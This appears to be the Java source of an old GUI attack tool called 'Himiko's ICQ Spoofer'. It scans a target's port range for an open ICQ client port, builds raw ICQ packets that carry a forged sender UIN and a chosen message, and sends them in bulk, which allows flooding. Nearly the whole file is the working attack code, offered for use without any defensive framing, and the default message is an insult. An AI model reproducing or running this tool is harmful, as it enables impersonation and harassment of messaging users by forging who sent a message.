import java.awt.*; import java.io.*; import java.net.*; public class icqspoof extends Frame{ static TextArea TEXT; static TextField HOSTTEXT; static TextField FMTEXT; static TextField TOTEXT; static TextField UINTEXT; static TextField MSGTEXT; static TextField NOTEXT; static TextField THRTEXT; static TextField OUTTEXT; static TextField STSTEXT; static Choice choice; Label HOSTLABEL; Label PORTLABEL; Label FMLABEL; Label TOLABEL; Label UINLABEL; Label MSGLABEL; Label NOLABEL; Label MODELABEL; Label THRLABEL; Label OUTLABEL; Label STSLABEL; static Button SENDBUTTON; static Button CANCELBUTTON; Button CLEARBUTTON; String inimsg = "YOU IS A BIG FOOL MAN"; String iniinf = "Usage"+"\n"+ " ; The target Host name or the IP Address"+"\n"+ " ; The biginning PORT# and ending PORT# to be scanned"+"\n"+ " ICQ often opens a PORT between 1000-2000"+"\n"+ " ; The UIN of the spoofed message source"+"\n"+ " ; The message you wanna send"+"\n"+ " <#MSGs> ; Number of messages to be sent"+"\n"+ " ; @Fast scan faster but low stability and cannot scan wide range" + "\n" + " @Slow scan slower but high stability and can scan wide range" + "\n" + " ; Number of threads to be generated during scan"+"\n"+ " ; Connection Timeout(msec).It is meaningful only if you select Fast-mode"+"\n"+ "\n"; String inithr = "5"; String iniout = "500"; String inifmp = "1000"; String initop = "2000"; static SendMsg SendMsg; static count c; public static void main(String args[]){ icqspoof icqspoof = new icqspoof(); icqspoof.framebuild(); icqspoof.frameshow(); } public void frameshow(){ pack(); show(); } private void framebuild(){ addNotify(); setResizable(false); setTitle( "Himiko's ICQ Spoofer" ); setFont(new Font("FixedSys", Font.PLAIN, 12)); setBackground(Color.lightGray); setForeground(Color.black); Panel p = new Panel(); p.setLayout(new GridLayout(3,0)); Panel pup = new Panel(); pup.setLayout(new FlowLayout(FlowLayout.LEFT,2,0)); Panel pmid0 = new Panel(); pmid0.setLayout(new FlowLayout(FlowLayout.LEFT,2,0)); Panel pmid1 = new Panel(); pmid1.setLayout(new FlowLayout(FlowLayout.LEFT,2,0)); Panel pmid2 = new Panel(); pmid2.setLayout(new FlowLayout(FlowLayout.LEFT,2,0)); Panel pdown = new Panel(); pdown.setLayout(new FlowLayout(FlowLayout.LEFT,2,0)); add("North",p); p.add(pup); p.add(pmid1); p.add(pmid2); add("South",pdown); HOSTLABEL = new Label("HOST"); HOSTTEXT = new TextField(30); HOSTTEXT.setText("127.0.0.1"); PORTLABEL = new Label("PORTs"); FMLABEL = new Label("from"); FMTEXT = new TextField(2); FMTEXT.setText(inifmp); TOLABEL = new Label("to"); TOTEXT = new TextField(2); TOTEXT.setText(initop); UINLABEL = new Label("UIN"); UINTEXT = new TextField(5); UINTEXT.setText("149"); MSGLABEL = new Label("MSG"); MSGTEXT = new TextField(40); MSGTEXT.setText(inimsg); NOLABEL = new Label("#MSGs"); NOTEXT = new TextField(2); NOTEXT.setText("1"); MODELABEL = new Label("MODE"); choice = new Choice(); choice.addItem("Slow"); choice.addItem("Fast"); SENDBUTTON = new Button("SEND"); CANCELBUTTON = new Button("CNCL"); CANCELBUTTON.setEnabled(false); THRLABEL = new Label("THRDs"); THRTEXT = new TextField(1); THRTEXT.setText(inithr); OUTLABEL = new Label("T/O"); OUTTEXT = new TextField(2); OUTTEXT.setText(iniout); STSLABEL = new Label("STAT"); STSTEXT = new TextField(2); STSTEXT.setEditable(false); CLEARBUTTON = new Button("CLR"); pup.add(HOSTLABEL); pup.add(HOSTTEXT); pup.add(new Label(" ")); pup.add(PORTLABEL); pup.add(FMLABEL); pup.add(FMTEXT); pup.add(TOLABEL); pup.add(TOTEXT); pmid1.add(UINLABEL); pmid1.add(UINTEXT); pmid1.add(MSGLABEL); pmid1.add(MSGTEXT); pmid1.add(NOLABEL); pmid1.add(NOTEXT); pmid2.add(MODELABEL); pmid2.add(choice); pmid2.add(THRLABEL); pmid2.add(THRTEXT); pmid2.add(OUTLABEL); pmid2.add(OUTTEXT); pmid2.add(new Label(" ")); pmid2.add(SENDBUTTON); pmid2.add(CANCELBUTTON); pmid2.add(STSLABEL); pmid2.add(STSTEXT); pmid2.add(CLEARBUTTON); TEXT = new TextArea(10,76); TEXT.setBackground(Color.lightGray); TEXT.setForeground(Color.black); TEXT.setFont(new Font("System",Font.PLAIN, 12)); TEXT.setEditable(false); TEXT.setText(iniinf); pdown.add(TEXT); move(50,50); } public synchronized static void settext(String str){ TEXT.appendText(str+"\r\n"); } public boolean handleEvent(Event ev){ switch (ev.id){ case Event.WINDOW_DESTROY: System.exit(0); return true; case Event.ACTION_EVENT: if(ev.target==SENDBUTTON){ sendpush(); return true; } else if(ev.target==CANCELBUTTON){ SendMsg.stop(); c.end(); settext("Scan Cancel"); SENDBUTTON.setEnabled(true); CANCELBUTTON.setEnabled(false); return true; } else if(ev.target==CLEARBUTTON){ TEXT.setText(""); return true; } else return super.handleEvent(ev); default: return super.handleEvent(ev); } } private void sendpush(){ c = new count(); SENDBUTTON.setEnabled(false); CANCELBUTTON.setEnabled(true); String host = HOSTTEXT.getText(); if (host.equals("")){host="localhost";} int fmport; try{ Integer ifmport = Integer.valueOf (FMTEXT.getText()); fmport = ifmport.intValue(); } catch(NumberFormatException e){ fmport = 1; } int toport; try{ Integer itoport = Integer.valueOf (icqspoof.TOTEXT.getText()); toport = itoport.intValue(); } catch(NumberFormatException e){ toport = 1; } int uin; try{ Integer iuin = Integer.valueOf (icqspoof.UINTEXT.getText()); uin = iuin.intValue(); } catch(NumberFormatException e){ uin = 149; } String msg = MSGTEXT.getText(); int nom; try{ Integer inom = Integer.valueOf (NOTEXT.getText()); nom = inom.intValue(); } catch(NumberFormatException e){ nom = 1; } int mode; mode = choice.getSelectedIndex(); int thr; try{ Integer ithr = Integer.valueOf (THRTEXT.getText()); thr = 4*ithr.intValue() + 2; } catch(NumberFormatException e){ thr = 4; } int out; try{ Integer iout = Integer.valueOf (OUTTEXT.getText()); out = iout.intValue(); } catch(NumberFormatException e){ out = 1; } SendMsg = new SendMsg(c, host, fmport, toport, uin, msg, nom, mode, thr, out); SendMsg.start(); settext("Start to Scan "+host+":"+FMTEXT.getText()+"-"+TOTEXT.getText()); System.out.println("Start to Scan "+host+":"+FMTEXT.getText()+"-"+TOTEXT.getText()); } } class SendMsg extends Thread{ count c; String host; int fmport; int toport; int uin; String msg; int nom; int mode; int thr; int out; public SendMsg(count c, String host, int fmport, int toport, int uin, String msg, int nom, int mode, int thr, int out){ this.c = c; this.host = host; this.fmport = fmport; this.toport = toport; this.uin = uin; this.msg = msg; this.nom = nom; this.mode = mode; this.thr = thr; this.out = out; } public void run(){ editdata ed = new editdata(uin, msg); c.init(fmport, toport); if ( mode==1){ int i = c.port(); while ( i >= 0){ if (Thread.activeCount() <= thr){ sockthread sockthread = new sockthread(host,i,uin,msg,nom,ed); timer timer = new timer(sockthread,out); sockthread.start(); timer.start(); i = c.port(); } else{ Thread me = Thread.currentThread(); try{ me.sleep(out); } catch(InterruptedException e){} } } } else{ for ( int j=1; j<=thr; j++){ sockthread sockthread = new sockthread(host,c,uin,msg,nom,ed); sockthread.start(); } } } } class timer extends Thread{ sockthread sockthread; int out; public timer(sockthread sockthread, int out){ this.sockthread = sockthread; this.out = out; } public void run(){ Thread me = Thread.currentThread(); try{ me.sleep(out); } catch(Exception e){} sockthread.stop(); } } class sockthread extends Thread{ String host; int i; count c; int uin; String msg; int nom; editdata ed; int flg; byte bm[]; public sockthread(String host, int i, int uin, String msg, int nom, editdata ed){ this.host = host; this.i = i; this.uin = uin; this.msg = msg; this.nom = nom; this.ed = ed; flg = 0; } public sockthread(String host, count c, int uin, String msg, int nom, editdata ed){ this.host = host; this.c = c; this.uin = uin; this.msg = msg; this.nom = nom; this.ed = ed; flg = 1; } public void run(){ bm = ed.ba; if (flg==0){ fmode(); } else{ smode(); } } private void fmode(){ scan(); } private void smode(){ i = c.port(); while ( i >= 0 ){ scan(); i = c.port(); } } private void scan(){ try{ Socket sock = new Socket(host,i); DataOutputStream ds = new DataOutputStream(sock.getOutputStream()); ds.write(bm); ds.flush(); String s;s=String.valueOf(i); icqspoof.settext(" Found Port:"+s); sock.close(); for ( int j=1; j<=nom-1; j++){ sock = new Socket(host,i); ds = new DataOutputStream(sock.getOutputStream()); ds.write(bm); ds.flush(); sock.close(); } } catch(Exception e){} } } class editdata{ public byte[] ba; public editdata(int uin,String msg){ //decompose uin int x1,x2,x3,x4; x4=uin/(256*256*256); x3=(uin%(256*256*256))/(256*256); x2=((uin%(256*256*256))%(256*256))/256; x1=((uin%(256*256*256))%(256*256))%256; //decompose length of message int l1=msg.length()+42;int l2=msg.length()+1; int x5,x6; x6=l1/256; x5=l1%256; //byte1 byte bt1[] ; bt1=new byte[20]; bt1[0]=(byte)(x5);bt1[1]=(byte)(x6); bt1[2]=(byte)(x1);bt1[3]=(byte)(x2);bt1[4]=(byte)(x3);bt1[5]=(byte)(x4); bt1[6]=(byte)(2);bt1[7]=(byte)(0);bt1[8]=(byte)(0xee);bt1[9]=(byte)(7);bt1[10]=(byte)(0);bt1[11]=(byte)(0); bt1[12]=(byte)(x1);bt1[13]=(byte)(x2);bt1[14]=(byte)(x3);bt1[15]=(byte)(x4); bt1[16]=(byte)(1);bt1[17]=(byte)(0);bt1[18]=(byte)(l2);bt1[19]=(byte)(0); //change string into byte byte[] bt2 = msg.getBytes(); //byte3 byte bt3[] ; bt3=new byte[26]; bt3[0]=(byte)(0);bt3[1]=(byte)(0x82);bt3[2]=(byte)(0xD7);bt3[3]=(byte)(0xF3); bt3[4]=(byte)(32);bt3[5]=(byte)(0x82);bt3[6]=(byte)(0xD7);bt3[7]=(byte)(0xF3); bt3[8]=(byte)(0x20);bt3[9]=(byte)(9);bt3[10]=(byte)(4);bt3[11]=(byte)(0); bt3[12]=(byte)(0);bt3[13]=(byte)(4);bt3[14]=(byte)(0);bt3[15]=(byte)(0); bt3[16]=(byte)(16);bt3[17]=(byte)(1);bt3[18]=(byte)(0xEB);bt3[19]=(byte)(255); bt3[20]=(byte)(255);bt3[21]=(byte)(255);bt3[22]=(byte)(2);bt3[23]=(byte)(0); bt3[24]=(byte)(10);bt3[25]=(byte)(9); //combine byte1, byte2 and byte3 ba = new byte[ bt1.length + bt2.length + bt3.length ]; System.arraycopy( bt1, 0, ba, 0, bt1.length ); System.arraycopy( bt2, 0, ba, bt1.length, bt2.length ); System.arraycopy( bt3, 0, ba, bt1.length + bt2.length, bt3.length ); } } class count { private int ret = 0; private int toport = 0; private int port = 0; String stri; private int j = 0; public void init(int fmport, int toport) { this.toport = toport; port = fmport; } public void end(){ port = toport + 1; j = 1; } public synchronized int port() { if(port <= toport){ ret = port; stri=String.valueOf(port); icqspoof.STSTEXT.setText(stri); port = port + 1; } else{ if ( j==0 ){ icqspoof.SENDBUTTON.setEnabled(true); icqspoof.CANCELBUTTON.setEnabled(false); Thread me = Thread.currentThread(); try{ me.sleep(1500); } catch(Exception e){} icqspoof.settext("...End of Scan"+"\n"); System.out.println("...End of Scan"); j =1; } ret = -1; } return ret; } }